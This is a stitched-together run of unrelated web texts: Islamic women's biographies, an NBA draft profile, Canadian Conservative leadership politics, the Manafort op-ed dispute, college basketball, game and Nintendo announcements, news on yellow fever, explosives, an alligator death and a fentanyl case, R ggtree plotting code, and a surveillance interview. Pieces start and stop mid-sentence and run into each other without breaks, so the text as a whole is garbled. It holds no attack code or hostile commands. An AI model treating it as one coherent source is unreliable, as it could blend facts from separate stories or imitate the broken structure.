14) ‘Ā’ishah al-Ba‘uniyyah (d. 923/1517). Born into a distinguished Damascene family which served the Mamluk sultans as religious and administrative officials in Syria and Egypt, ‘Ā’ishah al-Ba‘uniyyah was among the greatest female mystics and writers of medieval Damascus. An expert on the Qur’an, jurisprudence, theology and hadith, ‘Ā’ishah al-Ba‘uniyyah was certainly one of the most prolific women in pre-modern Islamic history, authoring over a dozen mystical, poetic and literary works. She belonged to the ʿUrmawī branch of the Qādiriyya Sufi order and her specific mystical worldview permeates most of her writings. Her most original and important work, entitled al-Muntakhab fī uṣūl al-rutab (recently translated into English as “Principles of Sufism”), focuses on the development of one’s spirituality, emphasizing four key concepts: tawba (repentance), ikhlāṣ (sincerity), dhikr (recollection), and maḥabba (love) Some of her other important works include Tashrīf al-fikr fī naẓm fawāʾid al-dhikr (a treatise on prayer and meditation) and Fayḍ al-faḍl wa-jamʿ al-shaml (a set of mystical poems). She also wrote several works in praise of the Prophet Muhammad, including al-Fatḥ al-mubīn fī madḥ al-Amīn, Fayḍ al-wafāʾ fī asmāʾ al-Muṣṭafā and al-Mawrid al-ahnā fī l-mawlid al-asnā. In addition to her renown as a Sufi master, ‘Ā’ishah was also recognized by her contemporaries in Mamluk Egypt and Syria as an important jurist and was authorized to issue legal opinions (fatwas). Although dozens of manuscripts of her works survive, very few of them have been edited and published.
For more on ‘Ā’ishah, see
Th. Emil Homerin, “ʿĀʾisha al-Bāʿūniyya.” Encyclopedia of Islam, THREE. Edited by: Kate Fleet, Gudrun Krämer, Denis Matringe, John Nawas, Everett Rowson. Brill Online
Th. Emil Homerin ed. and trans. The Principles of Sufism by ʿĀʾisha al-Bāʿūniyya (2014)
Th. Emil Homerin trans. Emanations of Grace: Mystical Poems by ʿĀʾisha al-Bāʿūniyya (2011)
(Manuscript of a commentary on one of ‘Ā’ishah al-Ba‘uniyyah’s poems. From http://majles.alukah.net/t142408/)
15) Hürrem Sultan (d. 965/1558). Also known as Roxelana, she was born into a Christian family of humble origins in the region of modern-day Ukraine. While still a teenager, she was enslaved by the Crimean Tatars and sent to Constantinople where she was placed in the Ottoman imperial harem. She attracted the attention of the Ottoman sultan Suleyman I (r. 926–973/1520–1566), who took her as a consort before freeing and marrying her in the early 1530s, an extraordinary development in Ottoman history. Now queen of the Ottoman empire, she played a major role in the political, social, intellectual and cultural developments in the Ottoman |
skinny frame and limited scoring ability, McCaw isn't an NBA lock. No matter what, we'll likely be talking about a NBA D-League player in 2016-17.
Though he covers a lot of ground, he isn't a star in any one area of the game, particularly on offense. He'll likely have to shoot at least 35 percent from three to justify regular minutes.
Joshua Dahl-USA TODAY Sports
Prediction
McCaw looks like a fringe first-rounder, and I'm not sold he'll end up falling on the right side of the fence. Unless he sells a particular team during workouts, look for him to go somewhere in the 31-40 range.
Fit and opportunity will ultimately be huge for his development. He'll must land on a team that has weapons who can allow him to focus on passing, spot-up shooting and getting out on the break. Assuming McCaw's jumper can become an everyday threat to opposing defenses, there should be enough value tied to his two-way versatility for him to stick.On the same day that Kellie Leitch released the kind of questions she wants to ask newcomers, MP Deepak Obhrai says his Conservative leadership rival is creating an American-style environment that could get immigrants killed.
Obhrai, a Calgary MP since 1997, said in a news release that Leitch’s plan to screen immigrants, refugees and visitors for so-called “Canadian values” will not only lead people to view the Conservative party as “anti-immigrant,” but could also endanger people’s lives.
“Ms. Leitch is playing divisive politics, and the consequences can be seen in America, where in the last two weeks three innocent people were shot or killed, because they were seen as immigrants,” said Obhrai, who is of South Asian descent and immigrated to Canada from Tanzania in 1977.
“This is a dangerous environment to create in Canada, and I am outraged by this.”
Conservative leadership candidate Deepak Obhrai, right, says his challenger Kellie Leitch is playing "divisive politics." (Photo: The Canadian Press)
Last week, Deep Rai, a 39-year-old U.S. citizen of Indian descent, was shot in the arm on his driveway in Kent, Wash., by an attacker who allegedly told him: “Go back to your own country.”
Two weeks ago in Kansas, a gunman shot two Indian men after harassing them with racial slurs, telling them: “Get out of my country!” Adam W. Purinton was later charged with murdering Srinivas Kuchibhotla, 32, and injuring Alok Madasani, also 32.
’Disguised as Canadian values’
Obhrai told The Huffington Post Canada that the “consequences” of Leitch’s campaign are being played out in the United States.
“Ms. Leitch’s proposal to screen every immigrant and visitor is nothing but Donald Trump’s executive order, disguised as Canadian values, and crafted to keep Muslims out of Canada,” he said in a statement Monday.
“We cannot allow Canada to go down this road — treating Canadians as equals is not a social policy, it is a Canadian right,” he told HuffPost. “We need to stop playing identity politics.”
Sample questions released by Leitch
Leitch provided examples Monday of the kind of questions she wants immigration officials to ask newcomers during the face-to-face interviews she plans to impose.
Among other things, she wants newcomers to Canada to know that they will have to work hard for a good life.
In a "sponsored announcement" to Rebel Media supporters, Leitch said newcomers will be quizzed on whether they believe a man and woman are equal, and whether it is acceptable to "coerce or use violence against an individual or a group who disagrees with your views."
Leitch promised to compare and contrast newcomers’ answers to their "social media postings."
"To me this seems obvious, desirable and fair," she wrote in her email. "These are quintessential Canadian values, and we need to uphold them. But I know some people disagree."
Obhrai said the values championed by Leitch are “universal values encompassed by our laws.” He called the “pointless” questions an unnecessarily bureaucratic and costly policy.
“This is a dangerous environment to create in Canada, and I am outraged by this.”
— Deepak Obhrai
Leitch has acknowledged her plan to impose face-to-face interviews will strain the immigration system and lead to fewer newcomers being accepted each year. She plans to have no “quotas” for immigration and refugee acceptance, if elected prime minister.
Leitch’s spokesman Michael Diamond did not specifically address Obhrai’s comments about his boss creating a climate of fear for immigrants. He provided a statement from Leitch that said: "Mr. Obhrai's refusal to accept a unifying Canadian identity is unfortunate, and puts him in the same category as Prime Minister Trudeau.
“I am the only candidate for Conservative Party leader that will defend our deeply held values and implement face to face interviews for all refugees and immigrants."
Leitch and Obhrai are two of 14 candidates vying to take the Tory helm from interim leader Rona Ambrose. Conservative party members will chose a new leader through a preferential ballot, with the winner announced on May 27.
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Also on HuffPostYesterday, special counsel Robert Mueller claimed former Trump campaign manager Paul Manafort broke a gag order by co-ghostwriting an op-ed. The defense must still respond, but a new third-party is stepping in.
Oleg Voloshyn, a former spokesman for the Ukrainian government, told Bloomberg in a Tuesday report that he wrote the unpublished article, and only asked Manafort for help with fact-checking.
“He just advised me to add that the Yanukovych government also worked actively with the U.S. on nuclear disarmament and with NATO,” Voloshyn told the outlet about Manafort. “And since I knew of that as well, I agreed those could be valuable contributions to strengthen my message.”
He said he originally sent the article to Konstantin Kilimnik, a Russian colleague of Manafort in the Ukraine. Kilimnik in turn, sent the op-ed to Manafort.
The article remains unpublished. Kyiv Post editor Brian Bonner told Bloomberg he got the article on Monday. The Kyiv Post, an English-language Ukrainian outlet, had no plans to release it. He said the op-ed was “highly suspicious” and “blatantly pro-Manafort.”
Prosecutors claimed on Monday that Manafort wrote the article with the help of a Russian linked to the Russian Federation’s intelligence services. The did not identify the individual in question but claimed the op-ed violated the gag order on Manafort, and was designed to make Manafort look good.
At the very least, Voloshyn’s claim will raise some eyebrows. Manafort and co-defendant Richard Gates were indicted in October for working as unregistered agents of the Ukrainian government, in part under former President Viktor Yanukovych. Other charges included money laundering and conspiracy. Voloshyn said he was a spokesman for the nation’s Ministry of Foreign Affairs until he left that post in 2013.
He also said his article had nothing to do with Manafort’s charges, and he would gladly talk with the FBI about it.
“It’s a big scandal about nothing,” he said. “The Kyiv Post is hardly known in America.”
The news is certainly a big deal to Mueller’s team. They’re using the recent allegations to maintain Manafort’s house arrest. It’s presently unclear what the defense will actually say in response. U.S. District Judge Amy B. Jackson gave them until Thursday to file a response.
[image via screengrab courtesy CNN]The Michigan men’s basketball team figured it would move a step closer to a Big Ten regular-season championship by beating Minnesota Saturday night.
Following a Michigan State loss mere minutes before tipoff, the Wolverines knew they could clinch at least a share with a victory.
And that’s what they did, topping the Golden Gophers, 66-56, to claim a piece of the title for the second time in three years.
Michigan can top the Big Ten outright with a win in either of its two remaining games.
After starting off slowly — 3-for-14 shooting from the field, 1-for-9 from beyond the arc — No. 16 Michigan (13-3 Big Ten, 21-7 overall) ended the first half on a 22-5 run highlighted by two alley-oop dunks by sophomore forward Glenn Robinson III to take a 31-20 lead.
Following a stagnant offensive performance in the opening minutes, the Wolverines made up for the poor showing by going 10-for-12 from the field the rest of the first half to shoot 50 percent from the field in the frame.
Minnesota still stuck around still, even after Michigan’s hot finish to the first half. Cutting an 11-point deficit to two in the middle of the second period, the Golden Gophers remained within striking distance.
Just minutes into the second half Golden Gophers missed a 3-pointer that the Wolverines took advantage of by quickly running up the court for an alley-oop from sophomore guard Caris LeVert to Robinson.
And Robinson’s play underneath the basket down didn’t stop there, either. On the next possession, Robinson gathered a LeVert 3-point miss and gently lofted the ball in to push the lead back to six.
After having the game-winning basket at the buzzer against Purdue, Michigan coach John Beilein has noticed a change in Robinson’s play.
“He’s much more aggressive,” Beilein said. “I think he’s having fun. I think he’s really embracing the idea that he’s a leader on this team and I’m going to have no matter what’s happening and do some of the stuff people don’t appreciate.”
Perhaps the most important sequence beneath came a few possessions later. What started with fifth-year center Jordan Morgan fighting for a loose ball to keep possession for Michigan, followed with sophomore guard Spike Albrecht twice preventing it from going out of bounds. Albrecht’s tip back in bounds ultimately turned into a Morgan layup.
Calling the play “completely instinct,” Albrecht’s effort was seen as even larger according to Minnesota coach Richard Pitino.
“That was the play of the game, in my opinion,” he said. “We had a chance to get it. They had to get a chance to get it. I thought that changed the game.”
With momentum back in its favor, Michigan outscored Minnesota 12-4 in the final 3:40, with the dagger coming via an Albrecht triple with 1:13 left.
“It was huge,” Morgan said, harping back Albrecht and his battle for the 50-50 ball. “We probably had a four-minute segment right there when we were fighting for loose basketballs, getting stops when we needed it.
“Three, four, five possessions in there we dictated what happened by getting big stops, working the extra possessions on offense. And that’s the difference in the game at the end of day.”
Though Robinson’s acrobatic show was the climax of the first half, the play of sophomore guard Nik Stauskas and LeVert was a major contributing factor as well, combining for 34 points.
With the score tied at 16 with 6:26 remaining, the duo either had an assist or scored on all but one possession as Michigan ended the half on a 15-4 run. Stauskas tallied six points and LeVert four in the sequence as the game that had started so slowly began to transform into a track meet. Multiple Minnesota (7-10, 18-12) turnovers led to open 3’s for Stauskas and LeVert and room for liftoff for Robinson underneath the hoop.
And this fall, Michigan will be lifting another banner to adorn the ceiling of the Crisler Center.Senran Kagura Peach Beach Splash Gets New Trailer Showing Dead or Alive Xtreme 3 DLC Characters
Azario Lopez October 19, 2017 3:37:54 PM EST
Senran Kagura Peach Beach Splash adds new DLC characters from Dead or Alive Xtreme 3 to keep your Summer hot.
XSEED launched a new trailer for their summer third person shooter Senran Kagura Peach Beach Splash, available now for PlayStation 4.
The summer isn’t ending anytime soon with XSEED adding a few new members of the Dead or Alive Xtreme 3 cast as DLC characters. Joining the roster of playable characters will be, Marie Rose, Honoka, and Ayane. Each character has their personal set of skills and weapons as well as cheeky downed animations, which is highlighted in the launch trailer.
In Senran Kagura Peach Beach Splash players will need to go up against rival schools in an all water gun war without their special ninja arts or weapons. Additionally, players will be able to collect cards to use on their guns and characters in order to make them stronger. These cards play a huge role in the game’s systems and each feature well illustrated pictures of characters from the game.
There is also online multiplayer where players will be able to team up or go against their friends in an all out water fight with the online community.
In case you want to know more about Senran Kagura Peach Beach Splash, you can check out DualShockers’ review as well as a recent interview that we had with with Senran Kagura series producer Kenichiro Takaki.
You can watch the new trailer below:The yellow fever outbreak in Africa this year came closer to being a disaster than is widely recognized, public health experts recently disclosed. The epidemic also revealed glaring weaknesses in the emergency vaccine supply pipeline.
The first deaths in Angola were misdiagnosed as food poisoning; the global emergency vaccine stockpile was depleted before even one city was fully protected; and diagnostic laboratories were so far away that it was months before the scope of the outbreak was clear and a worldwide alarm was raised.
Ultimately, the yellow fever outbreak was halted only by a huge vaccination campaign that stretched supplies by diluting doses, and even that succeeded only because some unusual donors stepped in.
Brazil contributed 18 million doses of yellow fever vaccine — three times the amount in the emergency stockpile — to contain the African outbreak. Even South Sudan, one of the world’s poorest nations, gave up 400,000 doses intended for its children.An apartment building on Edward Jennerstraat in Haarlem was evacuated and the surrounding streets closed for several hours on Wednesday after the police found explosives in one of the flats in the building, the police said in a statement.
The police were investigating in the apartment on Wednesday after arresting its 27-year-old occupant for illegal firearm possession on Tuesday. The Explosive Ordnance Disposal team was called in when substances were found which seemed to be for making explosives. When the EOD confirmed that there were indeed explosive material in the apartment, the police decided to evacuate the 48 homes in the building and close down the surrounding streets.
In the following hours the EOD team transported the explosive material to a vacant piece of land on Floris van Adrichemlaan, where they were disposed of in four controlled explosions. After the police searched the apartment a last time, the building was declared safe and residents could return to their homes. This happened around 10:30 p.m., about four hours after the evacuation.
The police are investigating how the Haarlem man came to possess illegal firearms and explosives and why he had them in his home. The suspect is still in custody. According to the police, he had previous contact with the authorities and is known to have psychological problems.Police divers have recovered the body of the a 2-year-old boy who was seized by an alligator near a Disney World Hotel in Florida.
The toddler was dragged into the water in front of his family while paddling beside a resort lagoon.
His body was found near where he vanished despite his parents efforts to save him.
Sheriff says body of 2-year-old Lane Graves of Nebraska, snatched by gator in Florida, has been recovered. https://t.co/6YZaT3POsc — The Associated Press (@AP) June 15, 2016
The Sheriff of Organge County, Jerry Demings gave this statement:
“We recovered the remains of the 2-year-old from the water and the body has now been turned over to the Orange County medical examiner’s office for an autopsy. The body was completely intact and so at this time we will go through the formality of making a formal identification.”
A spokesperson for Walt Disney World Resort where the family from Nebraska had been holidaying said everyone there was devastated by the tragic accident.
Since the attack and before the child’s body was recovered, five alligators were seized and killed in an attempt to find the boy’s remains.
Although wildlife officials have insisted such attacks are rare, alligators have killed five people in Florida in the last 10 years.ggtree provides gheatmap for visualizing heatmap and msaplot for visualizing multiple sequence alignment with phylogenetic tree.
We may have different data types and want to visualize and align them with the tree. For example, dotplot of SNP site (e.g. using geom_point(shape='|') ), barplot of trait values (e.g. using geom_barh(stat='identity') ) et al.
To make it easy to associate different types of data with phylogenetic tree, I implemented the facet_plot function which accepts a geom function to draw the input data.frame and display it in an additional panel.
tr <- rtree(30) p <- ggtree(tr) d1 <- data.frame(id=tr$tip.label, location=sample(c("GZ", "HK", "CZ"), 30, replace=TRUE)) p1 <- p %<+% d1 + geom_tippoint(aes(color=location)) d2 <- data.frame(id=tr$tip.label, val=rnorm(30, sd=3)) p2 <- facet_plot(p1, panel="dot", data=d2, geom=geom_point, aes(x=val), color='firebrick') + theme_tree2()
Most of the geom in ggplot2 draw vertical graph object, while for associating graph object with phylogenetic tree, we need horizontal versions. Luckily, we have ggstance which provides horizontal versions of geoms, including:
geom_barh()
geom_histogramh()
geom_linerangeh()
geom_pointrangeh()
geom_errorbarh()
geom_crossbarh()
geom_boxploth()
geom_violinh()
With ggstance, we can associate barplot, boxplot or other graphs to phylogenetic trees.
library(ggstance) d3 <- data.frame(id = rep(tr$tip.label, each=2), value = abs(rnorm(60, mean=100, sd=50)), category = rep(LETTERS[1:2], 30)) p3 <- facet_plot(p2, panel = 'Stacked Barplot', data = d3, geom = geom_barh, mapping = aes(x = value, fill = as.factor(category)), stat='identity' )
d4 = data.frame(id=rep(tr$tip.label, each=20), val=as.vector(sapply(1:30, function(i) rnorm(20, mean=i))) ) p4 <- facet_plot(p3, panel="Boxplot", data=d4, geom_boxploth, mapping = aes(x=val, group=label, color=location))
CitationBY RATTAN MALL
KASIMIR Tyabji-Sandana, son of former MLA Judi Tyabji who married former B.C. Leader of the Opposition Gordon Wilson, who will be facing a trial in a serious drug case in September, has been campaigning for the Liberal Party on the Sunshine Coast.
Back in 2015, Kasimir, then 27, was arrested and charged with one count of importing a controlled substance after a drug bust in Calgary.
Calgary Police said in a press release on July 14, 2015, that a Border Services Officer at the Canadian Border Services Agency’s Vancouver International Mail Centre intercepted a parcel declared as a “muffler” that was destined for a Calgary resident. As the officer was conducting an examination of the parcel, an unknown white powder was found and the officer suspected it to be fentanyl.
The officer sent a sample of the unknown substance to the CBSA Laboratory, which confirmed her suspicion and CBSA engaged the support of the RCMP to further the investigation. The RCMP then began working with Calgary Police Service and on July 22, a warrant was executed on a Calgary residence in the 2400 block of 14 Street S.W., resulting in one arrest. Through the investigation, 122 grams of fentanyl was seized with an estimated value of $348,000.
Kasimir’s mother, Judi, described his arrest in detail on Facebook, but believes that her son was set up. Incidentally, she is the author of Premier Christy Clark’s biography. His stepfather, Wilson, is Christy Clark’s LNG commissioner. His stepbrother, Mathew Wilson, is the Liberal candidate in Powell River-Sunshine Coast.
Here is part of Judi’s version of her son’s innocence on her Facebook:
All of the evidence against Kaz is in front of the court: his name was on a package shipped to his Calgary apartment. This package came from China, and contained fentanyl. It was intercepted in Vancouver, where the police removed the fentanyl, replaced it with a benign substance and resealed it. An undercover police officer delivered the resealed package, which had Chinese characters on it, to Kaz’ Calgary apartment. He signed for it, and put it on the counter.
Minutes later, the Calgary drug police, fully armed, broke into the apartment. Kaz tossed the package out the window. Kaz was thrown to the floor and arrested, and his apartment was fully searched. No drugs, no paraphenalia and no weapons were found. Kaz cell phone and laptop were seized and yielded no evidence related to drugs of any kind. His bank records and credit card records showed he barely had money for his travel home, and had no evidence related to drugs of any kind.
Some time late in 2017 a judge will have a chance to decide if this is evidence for fentanyl importation. Kaz told the police he had never heard of fentanyl before.Share:
ARMS and Splatoon 2 Headline New Nintendo Direct Presentation
This afternoon, Nintendo unveiled new details about the Mario Kart 8 Deluxe, Splatoon 2 and ARMS games for the Nintendo Switch system, as well as Hey! PIKMIN, Ever Oasis and several new Kirby games for the Nintendo 3DS family of systems in a new streamlined format for its long-running series of Nintendo Direct presentations. The video also covered numerous third-party games, including Minecraft: Nintendo Switch Edition and Disgaea 5 Complete for Nintendo Switch, and Culdcept Revolt for Nintendo 3DS.
“With the recent launch of Nintendo Switch and many fun games coming out for Nintendo 3DS, this is a great time to be a Nintendo fan,” said Doug Bowser, Nintendo of America’s Senior Vice President of Sales and Marketing. “From action-packed multiplayer games to platformers starring classic characters, no matter your favorite video game genre, Nintendo has you covered.”
To view the Nintendo Direct video in its entirety, visit http://www.nintendo.com/nintendo-direct. Some of the highlights revealed in the video include:
Nintendo Switch
ARMS: One of the biggest features in the upcoming fighting game is the ability to equip two types of customizable ARMS per fighter. These ARMS range from standard gloved ARMS to curved weapons like boomerangs. Each ARM has a special attribute like fire, ice or electricity that activates when delivering a charge punch. As players fight through the game, they will earn in-game currency that can be used to play the ARM Getter, a fun mode in which they can get new ARMS for their fighters. The fast-paced game can be played in 1-v-1 matches or even 2-v-2* for more entertainingly chaotic battles. During the Nintendo Direct presentation, a new character was also revealed: the super-fast, ramen-armed Min Min. ARMS launches exclusively for Nintendo Switch on June 16. In addition, special Neon Yellow Joy-Con controllers and Joy-Con Straps will be released separately on the same day alongside a Joy-Con AA Battery Pack accessory.
Splatoon 2: Salmon Run, a new four-player co-op mode*, is coming to the Splatoon 2 game. By teaming up with friends, players can take a part-time job battling the new Salmonid species, which the Squid Research Lab reports might even be more lethal than the Octarians! When players fall in co-op mode, teammates can revive them by inking them on the battlefield. Splatoon 2 launches exclusively for Nintendo Switch on July 21. In addition, three freshly designed individual amiibo figures for the game – a new Inkling Girl, Inkling Boy and Inkling Squid – will launch on the same day and grant special limited gear in game. By tapping these amiibo (as well as previously released Splatoon series amiibo), the figure’s character will appear in the game and befriend players. Befriend an amiibo character and it will remember favorite weapons, gear, outfits and option settings. This comes in handy when waging Turf War at a friend’s house.
Mario Kart 8 Deluxe: When the Mario Kart 8 Deluxe game launches on April 28, it will do so with more characters, karts and tracks unlocked from the start than any other game in Mario Kart history. Both traditional racing and the newly redesigned battle modes can be played in Local Wireless mode with up to eight players, and in Online** or LAN mode with up to 12 players***. For fans who want to show off their driving skills, Nintendo will be hosting two Mario Kart 8 Deluxe online tournaments in game. More details about these tournaments will be revealed in the future.
Ultra Street Fighter II: The Final Challengers: Fans waiting to play this enhanced version of one of the most celebrated fighting games of all time won’t have to wait much longer! The Ultra Street Fighter II: The Final Challengers game launches for Nintendo Switch on May 26 and includes all of the classic characters and two new fighters: Evil Ryu and Violent Ken. Additionally, a “Way of the Hado” mode lets players throw HADOKENS with first-person motion controls, while an exciting two-player co-op mode* gives players and a friend one health bar for intense two player vs. CPU matches.
Minecraft: Nintendo Switch Edition: One of the most popular creation games of all time is coming to the Nintendo Switch console. The fan-favorite Super Mario Mash-Up pack will be included in Minecraft: Nintendo Switch Edition when it launches in Nintendo eShop on May 11 and in stores at a later date.
Two Sonics, Two Styles: Nintendo Switch is getting two new Sonic games in 2017. Sonic Forces is a modern 3D take on Sonic games and follows the blue hedgehog hero as he uses his stylish high-speed moves to bring down the nefarious Eggman. Sonic and a mysterious new ally will rise up when Sonic Forces launches for Nintendo Switch this winter. Sonic Mania launches this summer and features retro 2D graphics and a host of new stages, as well as some classic stages from previous games in the Sonic the Hedgehog series.
Project Mekuru (name not final): Players that like multiplayer action games are in for a treat when Project Mekuru launches exclusively in Nintendo eShop on Nintendo Switch this summer. The frantic and fun game finds up to four players battling locally* or online** to flip panels and blow up opponents.
Disgaea 5 Complete: This tactical RPG franchise is beloved by many, and the definitive version of the fifth game, Disgaea 5 Complete, is coming to Nintendo Switch on May 23. Perfect for portable play, this epic RPG will launch with both standard and limited-edition versions. A free demo for the game will launch in Nintendo eShop on Nintendo Switch soon.
NEOGEO Masterpieces: Starting April 13, more NEOGEO classic games like Samurai Showdown IV will be available to purchase in Nintendo eShop on Nintendo Switch. Some future NEOGEO games coming to the system include Fatal Fury and The King of Fighters ’99.
Puyo Puyo Tetris: Two classic puzzle games face off in Puyo Puyo Tetris. The four-player* puzzle mashup game is only a little more than a week away, launching on Nintendo Switch on April 25. For people who want to try before they buy, a free demo for the game is now available.
Monopoly for Nintendo Switch: One of the most famous board games ever is coming to Nintendo Switch. Up to six players can experience the classic game with HD Rumble features and optional shorter sessions when Monopoly for Nintendo Switch launches this fall.
Rayman Legends: Definitive Edition: The gorgeous, award-winning platformer is coming to Nintendo Switch later this year. On Nintendo Switch, an exclusive Kung Foot experience offers a Solo Mode and tournaments for up to eight players*.
THQ Nordic Games: The diesel-punk shoot-’em-up game Sine Mora EX, co-developed by acclaimed studio Grasshopper Manufacture, launches on Nintendo Switch this summer with local co-op and versus* modes. Also coming to Nintendo Switch from THQ Nordic Games is Battle Chasers: Nightwar, an RPG inspired by console classics and based on the Battle Chasers comic book series. Battle Chasers: Nightwar launches with timed exclusivity on Nintendo Switch in late summer.
PAYDAY 2: In this four-player co-op game*, players band together to rise to the top of the criminal world for bigger jobs and better paydays. PAYDAY 2 launches for Nintendo Switch this winter.
NAMCO MUSEUM: Some of the most popular games of all time are coming to Nintendo Switch as part of the NAMCO MUSEUM package. Classic games, including PAC-MAN, GALAGA and SPLATTERHOUSE, as well as multiplayer gems like ROLLING THUNDER, SKYKID and TANK FORCE, can now be played at home or on the go. Players can stop and resume gameplay at any time, and Special Challenge Modes offer ways to test players’ skills. NAMCO MUSEUM launches for Nintendo Switch this summer.
Fate/EXTELLA: The Umbral Star: Featuring playable characters from multiple Fate productions across three distinct narrative perspectives, Fate/EXTELLA: The Umbral Star delivers the series’ most legendary showdown yet. The Nintendo Switch version will come loaded with 35 previously released paid DLC costumes, along with an exclusive new Unshackled Bride outfit. The high-octane action game will launch for Nintendo Switch in North America on July 25.
Nintendo Switch Standalone Dock: The Nintendo Switch standalone dock accessory will be available for purchase starting on May 19. Additional docks are perfect for traveling without having to unplug the main Nintendo Switch setup, as well as switching between TVs in the same house without transporting cords.
Nintendo 3DS
Hey! PIKMIN: The first Pikmin game for Nintendo 3DS finds Captain Olimar embarking on an adventure through lush worlds with his trusted Pikmin by his side. In a new type of Pikmin game, players are tasked with throwing all types of different Pikmin using the touch screen to solve puzzles, overcome challenges and defeat enemies through side-scrolling levels. The Hey! PIKMIN game launches exclusively for the Nintendo 3DS family of systems on July 28. A new Pikmin amiibo figure will also launch separately on the same day.
Kirby’s 25th Anniversary : To celebrate the 25th anniversary of the adorable Kirby franchise, three new Kirby games are coming to Nintendo 3DS. * Exclusive to Nintendo eShop, Team Kirby Clash Deluxe features four Kirby characters with different powers (Sword Hero, Hammer Lord, Beam Mage or Doctor Healmore) who battle giant enemies together. The free-to-start game launches … today! * In Kirby’s Blowout Blast, players move freely through more than 25 action-packed 3D stages, inhaling enemies and powering up along the way. The game launches exclusively in Nintendo eShop on Nintendo 3DS this summer. * Last but certainly not least, a new multiplayer* action game in the Kirby series is coming to Nintendo 3DS this holiday season. More information will be revealed about this game in the future.
: To celebrate the 25th anniversary of the adorable Kirby franchise, three new Kirby games are coming to Nintendo 3DS. Miitopia: Fans have never played an RPG quite like Miitopia. By casting Mii characters in roles across the world of Miitopia, players set off on an adventure to battle enemies, hunt for treasure and open up new areas of the map. The turn-based battles are straight out of an RPG, but allies have a mind of their own. The relationships they build affect their performance in battle. This Nintendo 3DS RPG launches later this year.
Ever Oasis: Grow and expand the world’s last oasis in Ever Oasis, a new action-adventure RPG from Koichi Ishii, the creator of the Mana series. The Ever Oasis game launches exclusively for the Nintendo 3DS family of systems on June 23. More information about the game will be revealed in the future.
Fire Emblem Echoes: Shadows of Valentia DLC: The new Fire Emblem game might take the series back to its roots, but one modern enhancement will help expand the adventure. The downloadable content launching for Fire Emblem Echoes: Shadows of Valentia will be a combination of free and paid, and provides players with new maps, dungeons and challenges. More information about this DLC, including launch timing and the optional season pass, will be revealed in the future.
BYE-BYE BOXBOY!: The epic trilogy that has taken the world of geometry by storm comes to its dramatic conclusion with the BYE-BYE BOXBOY! game, the third entry in the highly acclaimed BOXBOY! series. By rescuing new Qbabies, main character Qbby will receive one of four powers – Boxrocket, Bombox, Warpbox and Remotebox – that can help the boxy hero overcome obstacles in a new way. Tapping any of the Kirby series amiibo figures like Kirby, King Dedede, Meta Knight or Waddle Dee will permanently unlock a new colorful costume for Qbby based on that character. BYE-BYE BOXBOY! is now available exclusively in Nintendo eShop on Nintendo 3DS and at http://boxboy.nintendo.com/. A free demo for all three games in this series from HAL Laboratory, Inc. is also available in Nintendo eShop.
Monster Hunter Stories: Prepare to embark on an RPG adventure unlike anything the Monster Hunter series has ever known. In Monster Hunter Stories, become a rider and bond with monsters to raise their potential and unleash powerful combos. Players can fly, swim and crash into new areas of the map; discover eggs to collect and hatch; and participate in turn-based battles with a party of up to five monsters. Monster Hunter Stories launches for Nintendo 3DS this fall.
The Yo-kai are Back … Again!: Whether players missed it the first time or want to fall in love again, the definitive version of YO-KAI WATCH 2 is here! The YO-KAI WATCH 2: Psychic Specters game delivers the same full YO-KAI WATCH 2 experience, but adds new Yo-kai to befriend, exclusive quests and the ability to hop on the Hexpress to a new resort area. Players can even befriend Wicked and Boss Yo-kai from previous games, learn about the origin of the mysterious feline Yo-kai, Darknyan, and experience a revamped Blasters co-op mode to beat powerful new bosses. YO-KAI WATCH 2: Psychic Specters launches for Nintendo 3DS this fall.
NIS America Games: NIS America is bringing two great games to Nintendo 3DS this summer. The Culdcept series is celebrating its 20th anniversary, so it’s the perfect time to launch Culdcept Revolt! The card-meets-board game launches in a standard and limited edition on Aug. 29. With RPG Maker Fes, players of all skill levels can create their own RPGs. A free download called RPG Maker Player will be available in Nintendo eShop on Nintendo 3DS. RPG Maker Player will let anyone play fan-created RPGs even if they don’t own RPG Maker Fes. RPG Maker Fes launches for Nintendo 3DS on June 27.
amiibo
New amiibo Approaching!: The final Super Smash Bros. amiibo figures are on the way! Two versions of Cloud, Corrin and Bayonetta amiibo figures will hit store shelves on July 21.
The Legend of Zelda amiibo: Three new amiibo figures based on Link from The Legend of Zelda: Majora’s Mask, The Legend of Zelda: Twilight Princess and The Legend of Zelda: Skyward Sword will be released on June 23.
Remember that Nintendo Switch and Nintendo 3DS feature parental controls that let adults manage the content their children can access. For more information about other features, visit http://www.nintendo.com/switch/ or http://www.nintendo.com/3ds.
*Additional accessories are required for multiplayer mode and are sold separately
**Online services require a Nintendo Account. Starting in fall 2017, some online services will also require a paid subscription. Online service availability is limited based on location.
***Eight-player Local Wireless play in Mario Kart 8 Deluxe requires at least four Switch Consoles and four Mario Kart 8 Deluxe Games; 12-player LAN or Online play in Mario Kart 8 Deluxe requires at least six Nintendo Switch consoles and six Mario Kart 8 Deluxe games.
Games Rated:In his book Skating on Stilts, former US Department of Homeland Security Assistant Secretary for Policy Stewart Baker examines the numerous ways—air travel, biotech, the Internet—that America has left itself vulnerable to threats. Baker has been one of the most vocal proponents of the Patriot Act—especially section 215, the program to collect telephone records and other digital information. A litany of opponents, including everyone from the Electronic Frontier Foundation to Senator Rand Paul, consider the secretive program a gross invasion of privacy—on May 31, the program expired.
Baker, on the other hand, is of the mind that Americans don’t realize how much programs like 215 and other methods of government surveillance actually protect people from outside threats and bad guys—whether they’re Al Qaeda terrorists or North Korean hackers. And he’s not afraid to say it: Baker is often the counter-voice to those wanting to reign in or create more transparent government surveillance programs.
As it was becoming clear that section 215 would expire, we spoke with Baker about his views on America’s current state of digital security, especially in the context of most Americans’—on both sides of the political spectrum—distrust of government and law enforcement having so much access into the lives of its citizenry.
What kinds of legislation do you think we need to maintain people’s confidence in their government after all the revelations about spying?
I’m of the view we’re going to regret getting rid of the 215 program. It was designed to overcome an actual failure, not a theoretical failure in our intelligence defenses. It was a hole in our defenses that |
door," he told her. So businesses like his decided to figure out how to keep them through job flexibility and leave policies.
"It costs so much to train them. You want to retain them. That's true of any business, so that women were willing to leave meant that a lot of these places had to figure out how to keep them," said Belkin, a mom of two. "I think that's at the root of whatever flexibility we see today."
But it just feels like progress isn't coming fast enough, I said in response, especially when it comes to helping women like Mattox opt back in.
"The workplace isn't what it was," said Belkin. Women might have expected they could get back in based on their skill set or because they were so valuable in their professions, she said. "But so are an awful lot of people who have been laid off the past five years whose experience is more recent."
Perhaps the biggest lesson from the women who opted out and are having trouble getting back in is "not always having an eye" on their return, said Belkin.
